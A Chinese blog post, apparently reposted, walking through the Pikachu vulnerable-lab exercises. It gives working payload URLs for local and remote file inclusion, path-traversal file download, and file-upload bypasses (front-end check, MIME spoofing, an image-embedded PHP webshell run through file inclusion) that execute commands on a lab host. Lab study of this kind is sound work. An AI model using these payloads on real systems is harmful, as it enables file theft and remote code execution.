标签:文件 .. pikachu filename php 上传 下载
一、文件包含 1.File Inclusion(local) 我们先测试一下,选择kobe然后提交 发现url出现变化
发现可以读取根目录下的flag文件,存在本地文件包含漏洞。 2.File Inclusion(remote) 同上,选择kobe提交,发现url也发生变化 所以这次构造url去包含,我选择了我的博客园地址https://www.cnblogs.com/p201721440034 返回结果如下
所以远程文件包含成功。 二、文件下载 打开站点发现提示点击链接就可下载图片。
随便复制一个下载链接,发现
http://172.16.124.129/pikachu/vul/unsafedownload/execdownload.php?filename=lmx.png
不是根据路径下载,而是通过传参下载图片。
于是照常构造payload
http://172.16.124.129/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../../flag
访问此链接,发现开始下载flag文件,任意文件下载漏洞产生。
二、文件上传
1.client check
所以我们首先要判断是前端验证还是后端验证,利用审查元素来判断。
得到前端js校验代码
function checkFileExt(filename) { var flag = false; //状态 var arr = ["jpg","png","gif"]; //取出上传文件的扩展名 var index = filename.lastIndexOf("."); var ext = filename.substr(index+1); //比较 for(var i=0;i<arr.length;i++) { if(ext == arr[i]) { flag = true; //一旦找到合适的,立即退出循环 break; } } //条件判断 if(!flag) { alert("上传的文件不符合要求,请重新选择!"); location.reload(true); } }
所以此文件上传过滤可以利用burp来修改,我们先选择gif后缀的php一句话木马文件
点击上传,利用burp拦截数据包
修改filename为111.php点击forward
上传成功,路径为uploads/111.php
所以我们构造payload直接执行命令
http://172.16.124.129/pikachu/vul/unsafeupload/uploads/111.php?a=whoamil
2.MIME type
同上,但是这次通过查看审查元素,没有发现有前端验证,然后根据测试发现只能传图片文件,但没有检测文件名。
点击上传。
//只通过判断Content-Type: 字段来确定文件类型 //修改filename即可 Content-Disposition: form-data; name="uploadfile"; filename="S4tan.php" Content-Type: image/jpeg
发现PHP文件上传成功
上传路径为
http://172.16.124.129/pikachu/vul/unsafeupload/uploads/a123.php
同上,payload为
http://172.16.124.129/pikachu/vul/unsafeupload/uploads/a123.php?a=whoami
3.getimagesize
同上,经过判定无前端验证,提交一句话测试。
发现服务器判定文件为假图片,根据此漏洞名可以判定为,此上传过滤依靠文件大小进行判定,将一句话木马拼接在图片后面。
生成了一个图片马,但是服务器端将你上传的文件进行重命名了,所以要想此文件被解析成php文件,我们只能利用文件包含漏洞去包含图片马。
利用之前文件包含漏洞的payload去包含此图片马,构造payload
http://172.16.124.129/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2019/12/19/8653725dfb71073ffa8429484095.jpg&submit=%E6%8F%90%E4%BA%A4\
执行whoami
发现执行成功。
标签:文件,..,pikachu,filename,php,上传,下载 来源: https://www.cnblogs.com/P201721440034/p/12070076.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。